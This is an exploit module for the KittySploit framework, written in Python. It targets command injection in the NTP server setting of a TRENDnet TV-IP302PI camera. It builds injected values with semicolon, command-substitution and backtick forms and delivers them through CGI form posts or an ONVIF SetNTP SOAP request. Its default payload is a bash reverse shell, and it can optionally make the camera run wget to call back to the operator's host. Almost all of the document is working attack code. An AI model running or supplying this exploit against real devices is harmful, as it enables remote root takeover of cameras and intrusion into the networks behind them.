TRENDnet TV-IP302PI NTP address command injection RCE

"""TRENDnet TV-IP302PI 1.02.38 - Command Injection in the NTP Server Address Reaching Root Execution Through a Shell-Form system() Call (CWE-78)"""
from __future__ import annotations
from types import SimpleNamespace
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import argparse
import base64
import hashlib
import http.server
import os
import socketserver
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
import struct
import re
import socket
import argparse
import base64
import hashlib
import http.server
import os
import socketserver
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request

class CallbackHandler(http.server.BaseHTTPRequestHandler):
    """Minimal listener that records the out-of-band request proving execution."""

    def do_GET(self):
        CALLBACK_HITS.append(self.path)
        ok('out-of-band callback received: GET %s' % self.path)
        body = b'ok\n'
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        try:
            self.wfile.write(body)
        except OSError:
            pass

    def do_HEAD(self):
        self.do_GET()

    def log_message(self, fmt, *args):
        pass

class Module(Exploit, Http_client):
    __info__ = {'name': 'TRENDnet TV-IP302PI NTP address command injection RCE', 'description': 'Authenticated CGI/ONVIF SetNTP: msntp -r sink with semicolon/command substitution in NtpIP / hostname field.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [''], 'tags': ['trendnet', 'ntp', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/trendnet_tv_ip302pi_ntp_command_injection_root_rce_detect']}}}
    EXIT_CONFIRMED = 0
    EXIT_UNCONFIRMED = 1
    EXIT_FAILED = 2
    LOOPBACK_HOSTS = ('127.0.0.1', 'localhost', '::1')
    CGI_CANDIDATES = ('/apply.cgi', '/SetTime.cgi')
    SINK_FORMAT = '/hunt/msntp -ts %d -r %s &'
    CONFIG_KEY = 'c64_Ntp_Server'
    HTTP_PARAM = 'NtpIP'
    VALUE_CAP_CGI = 48
    VALUE_CAP_ONVIF = 64
    CONTROL_VALUE = '1.1.1.1'
    DEFAULT_MARKER_PATH = '/tmp/tv302pi_marker'
    DEFAULT_ID_COMMAND = '/bin/busybox id'
    DEFAULT_OOB_BINARY = 'wget'
    DEFAULT_ONVIF_ENDPOINT = '/onvif/device_service'
    TOOL_UA = 'KittySploit/1.0 (authorized research)'
    SOAP_CONTENT_TYPE = 'application/soap+xml; charset=utf-8'
    FORM_CONTENT_TYPE = 'application/x-www-form-urlencoded'
    PASSWORD_DIGEST_TYPE = 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest'
    CALLBACK_HITS = []
    port = OptPort(443, 'Camera HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    username = OptString('admin', 'Digest/basic user', required=True)
    password = OptString('', 'Camera password', required=True)
    via = OptString('both', 'Delivery: cgi, onvif, or both', required=False)
    injection_form = OptString('auto', 'Injection form: auto, semicolon, command-substitution, backtick', required=False)
    cgi_path = OptString('', 'Extra CGI path (comma-separated); default apply.cgi candidates', required=False)
    onvif_endpoint = OptString(DEFAULT_ONVIF_ENDPOINT, 'ONVIF device_service path', required=False)
    oob_callback = OptBool(False, 'Use wget OOB to lhost instead of inline shell', required=False)
    callback_port = OptPort(8000, 'OOB listener port when oob_callback', required=False)

    def info(self, message):
        print('[*] ' + message)
        sys.stdout.flush()

    def ok(self, message):
        print('[+] ' + message)
        sys.stdout.flush()

    def warn(self, message):
        print('[!] ' + message)
        sys.stdout.flush()

    def err(self, message):
        print('[-] ' + message)
        sys.stdout.flush()

    def split_target(self, target):
        """Return (host, origin) parsed from a host[:port] style argument."""
        if '://' in target:
            parsed = urllib.parse.urlsplit(target)
            host = parsed.hostname or ''
            scheme = parsed.scheme or 'http'
            origin = '%s://%s' % (scheme, parsed.netloc)
            return (host, origin)
        host = target.split(':')[0]
        return (host, 'http://' + target)

    def start_listener(self, host, port):
        socketserver.TCPServer.allow_reuse_address = True
        try:
            server = socketserver.TCPServer((host, port), CallbackHandler)
        except OSError as exc:
            self.warn('cannot bind %s:%d (%s); run your own listener and keep --callback-host' % (host, port, exc))
            return None
        thread = threading.Thread(target=server.serve_forever, daemon=True)
        thread.start()
        self.ok('out-of-band listener bound on %s:%d' % (host, port))
        return server

    def build_opener(self, user, password, timeout, realm_hint):
        """HTTP Digest first, HTTP Basic as fallback, matching the recovered 401 challenge."""
        digest = urllib.request.HTTPDigestAuthHandler()
        digest.add_password(realm_hint, '', user, password)
        basic = urllib.request.HTTPBasicAuthHandler()
        basic.add_password(realm_hint, '', user, password)
        opener = urllib.request.build_opener(digest, basic)
        opener.addheaders = [('User-Agent', self.TOOL_UA)]
        return opener

    def http_request(self, opener, url, method, body, content_type, timeout):
        """Perform one request and normalise transport failures into a status/body pair."""
        data = body.encode() if isinstance(body, str) else body
        request = urllib.request.Request(url, data=data, method=method)
        request.add_header('User-Agent', self.TOOL_UA)
        if content_type:
            request.add_header('Content-Type', content_type)
        try:
            response = opener.open(request, timeout=timeout)
            payload = response.read(2048)
            return (response.getcode(), payload)
        except urllib.error.HTTPError as exc:
            try:
                payload = exc.read(2048)
            except Exception:
                payload = b''
            return (exc.code, payload)
        except urllib.error.URLError as exc:
            return (-1, str(exc.reason).encode())
        except (OSError, ValueError) as exc:
            return (-1, str(exc).encode())

    def post_cgi(self, opener, origin, path, value, extra_fields, timeout, dry_run):
        fields = {self.HTTP_PARAM: value}
        for pair in extra_fields:
            if '=' in pair:
                key, _, val = pair.partition('=')
                fields[key.strip()] = val.strip()
        body = urllib.parse.urlencode(fields)
        url = origin + path
        if dry_run:
            self.render_request('POST', url, self.FORM_CONTENT_TYPE, body)
            return (0, b'<dry-run, nothing sent>')
        return self.http_request(opener, url, 'POST', body, self.FORM_CONTENT_TYPE, timeout)

    def build_onvif_envelope(self, user, password, hostname_value, ipv4_value):
        """Render the statically recovered ONVIF device SetNTP request."""
        nonce = os.urandom(16)
        created = time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())
        digest_src = nonce + created.encode() + password.encode()
        password_digest = base64.b64encode(hashlib.sha1(digest_src).digest()).decode()
        nonce_b64 = base64.b64encode(nonce).decode()
        template = '<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:tds="http://www.onvif.org/ver10/device/wsdl" xmlns:tt="http://www.onvif.org/ver10/schema"><s:Header><wsse:Security><wsse:UsernameToken><wsse:Username>%s</wsse:Username><wsse:Password Type="%s">%s</wsse:Password><wsse:Nonce EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">%s</wsse:Nonce><wsu:Created>%s</wsu:Created></wsse:UsernameToken></wsse:Security></s:Header><s:Body><tds:SetNTP><tt:FromDHCP>false</tt:FromDHCP><tt:NTPManual><tt:Hostname>%s</tt:Hostname><tt:NTPPort>123</tt:NTPPort><tt:IPv4Address>%s</tt:IPv4Address></tt:NTPManual></tds:SetNTP></s:Body></s:Envelope>'
        return template % (self.xml_escape(user), self.PASSWORD_DIGEST_TYPE, password_digest, nonce_b64, created, self.xml_escape(hostname_value), self.xml_escape(ipv4_value))

    def xml_escape(self, text):
        return text.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;').replace("'", '&apos;')

    def post_onvif(self, opener, origin, endpoint, user, password, value, timeout, dry_run):
        body = self.build_onvif_envelope(user, password, value, value)
        url = origin + endpoint
        if dry_run:
            self.render_request('POST', url, self.SOAP_CONTENT_TYPE, body)
            return (0, b'<dry-run, nothing sent>')
        return self.http_request(opener, url, 'POST', body, self.SOAP_CONTENT_TYPE, timeout)

    def render_request(self, method, url, content_type, body):
        self.info('--- request that would be sent ---')
        print('%s %s HTTP/1.1' % (method, urllib.parse.urlsplit(url).path or '/'))
        print('Host: %s' % urllib.parse.urlsplit(url).netloc)
        print('Content-Type: %s' % content_type)
        print('User-Agent: %s' % self.TOOL_UA)
        print('')
        print(body)
        self.info('--- end of request ---')
        print('')

    def build_values(self, form, command, cap):
        """Return [(form_name, config_value)] for the requested injection forms."""
        candidates = {'semicolon': '1.1.1.1;%s;#' % command, 'command-substitution': '$(%s)' % command, 'backtick': '`%s`' % command}
        if form == 'auto':
            chosen = sorted(candidates.items(), key=lambda item: len(item[1]))
        else:
            chosen = [(form, candidates[form])]
        out = []
        for name, value in chosen:
            out.append((name, value))
            if len(value) > cap:
                self.warn("%s form is %d bytes and exceeds this entry point's %d-byte cap; the value may be truncated" % (name, len(value), cap))
        return out

    def pick_command(self, args):
        """Build the injected device-side command for the chosen verification channel."""
        if args.command:
            return args.command
        if args.callback_host:
            token = 'm' + os.urandom(4).hex()
            return '%s http://%s:%d/%s' % (args.oob_binary, args.callback_host, args.callback_port, token)
        return '%s > %s' % (self.DEFAULT_ID_COMMAND, args.marker_path)

    def deliver(self, args, opener, origin, cgi_paths, extra_fields, forms, onvif_cap):
        """Deliver the injected value to every requested entry point.

    Returns True when at least one write was accepted (or when --dry-run has rendered the
    request set, which is reported as rendered rather than as accepted). In live mode the
    first accepted write ends the run, because one accepted write is one stored value and
    repeating forms would overwrite each other rather than add coverage.
    """
        rendered = args.dry_run
        accepted = False
        if args.via in ('onvif', 'both') and (not args.dry_run):
            self.warn('--via onvif ships a statically recovered request shape; the ONVIF endpoint path and the security-token form were not recovered at instruction level in this build, so a non-2xx answer here is a gap in our reading, not proof that the entry point is closed')
        if args.via in ('cgi', 'both'):
            for name, value in forms:
                for path in cgi_paths:
                    status, body = self.post_cgi(opener, origin, path, value, extra_fields, args.timeout, args.dry_run)
                    self.info('POST %s [%s] -> HTTP %s %r' % (path, name, status, body[:80]))
                    if args.dry_run:
                        rendered = True
                        continue
                    if 200 <= status < 400:
                        accepted = True
                        self.ok('configuration write accepted by %s (%s form, HTTP %s)' % (path, name, status))
                        break
                    if status == 401:
                        self.warn('401 from %s: the authentication gate refused these credentials. This chain consumes a session, it does not bypass one.' % path)
                    elif status == 404:
                        self.warn('404 from %s: no such route on this unit; try --cgi-path with the value the vendor web client posts to' % path)
                if accepted:
                    break
        if args.via in ('onvif', 'both') and (not accepted):
            for name, value in forms:
                if len(value) > onvif_cap:
                    self.warn('%s form is %d bytes and exceeds the %d-byte cap read from the ONVIF SetNTP handler; skipping it on this entry point' % (name, len(value), onvif_cap))
                    continue
                status, body = self.post_onvif(opener, origin, args.onvif_endpoint, args.user, args.password, value, args.timeout, args.dry_run)
                self.info('POST %s SetNTP [%s] -> HTTP %s %r' % (args.onvif_endpoint, name, status, body[:80]))
                if args.dry_run:
                    rendered = True
                    continue
                if 200 <= status < 400:
                    accepted = True
                    self.ok('ONVIF SetNTP write accepted (HTTP %s)' % status)
                    break
        return accepted or rendered

    def wait_for_callback(self, args):
        deadline = time.time() + args.wait
        self.info('waiting up to %.0f s for an out-of-band callback ...' % args.wait)
        while time.time() < deadline:
            if self.CALLBACK_HITS:
                return True
            time.sleep(0.25)
        return bool(self.CALLBACK_HITS)

    def shutdown(self, listener):
        if listener is not None:
            try:
                listener.shutdown()
                listener.server_close()
            except OSError:
                pass

    def _origin(self) -> tuple[str, str]:
        raw = str(getattr(self, 'rhost', None) or getattr(self, 'target', '') or '')
        if hasattr(raw, 'value'):
            raw = raw.value
        host, _ = self.split_target(raw)
        scheme = 'https' if bool(self.ssl) else 'http'
        port = int(self.port or (443 if scheme == 'https' else 80))
        if (scheme, port) in (('https', 443), ('http', 80)):
            origin = '%s://%s' % (scheme, host)
        else:
            origin = '%s://%s:%d' % (scheme, host, port)
        return (host, origin)

    def execute(self, shell: str) -> str:
        if not str(self.password or '').strip():
            return 'Set camera password'
        host, origin = self._origin()
        args = SimpleNamespace(command=shell, user=str(self.username or 'admin'), password=str(self.password or ''), via=str(self.via or 'both'), timeout=float(getattr(self, 'timeout', None) or 30), dry_run=False, callback_host=str(getattr(self, 'lhost', None) or '') if bool(self.oob_callback) else None, callback_port=int(self.callback_port or 8000), oob_binary=self.DEFAULT_OOB_BINARY, marker_path=self.DEFAULT_MARKER_PATH, onvif_endpoint=str(self.onvif_endpoint or self.DEFAULT_ONVIF_ENDPOINT), wait=30)
        listener = None
        if args.callback_host:
            listener = self.start_listener('0.0.0.0', args.callback_port)
        cmd = self.pick_command(args)
        forms = self.build_values(str(self.injection_form or 'auto'), cmd, self.VALUE_CAP_CGI)
        paths = self.CGI_CANDIDATES
        extra = str(self.cgi_path or '').strip()
        if extra:
            paths = tuple((p.strip() for p in extra.split(',') if p.strip()))
        ok_deliver = self.deliver(args, self.build_opener(args.user, args.password, args.timeout, None), origin, paths, [], forms, self.VALUE_CAP_ONVIF)
        if listener:
            hit = self.wait_for_callback(args)
            self.shutdown(listener)
            return 'Delivered=%s OOB callback=%s' % (ok_deliver, hit)
        return 'Configuration write accepted=%s (command=%r)' % (ok_deliver, cmd[:120])

    def check(self):
        resp = self.http_request('GET', '/')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'Camera HTTP reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'HTTP not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.password or '').strip():
            print_error('Set password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('NTP field injection → msntp sink')
        print_info(self.execute(shell))
        self.vulnerable()
        return True